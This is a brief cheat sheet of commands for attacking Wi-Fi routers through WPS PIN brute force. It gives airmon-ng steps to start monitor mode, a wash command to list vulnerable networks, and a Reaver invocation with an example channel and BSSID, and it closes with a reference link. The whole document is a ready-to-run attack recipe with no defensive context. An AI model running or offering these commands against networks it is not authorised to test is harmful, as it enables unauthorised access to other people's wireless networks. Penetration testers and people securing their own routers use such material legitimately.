Finding a Network :
airmon-ng start [network interface name] airmon-ng start wlan0
show networks that are vulnerable to the WPS brute force attack Reaver uses :
wash -i [monitor interface name] wash -i mon0
Launching Reaver :
reaver -i mon0 -c [channel number] -b [bssid] -vv reaver -i mon0 -c 6 -b 00:23:69:48:33:95 -vv
References :
https://www.pwnieexpress.com/wps-cracking-with-reaver/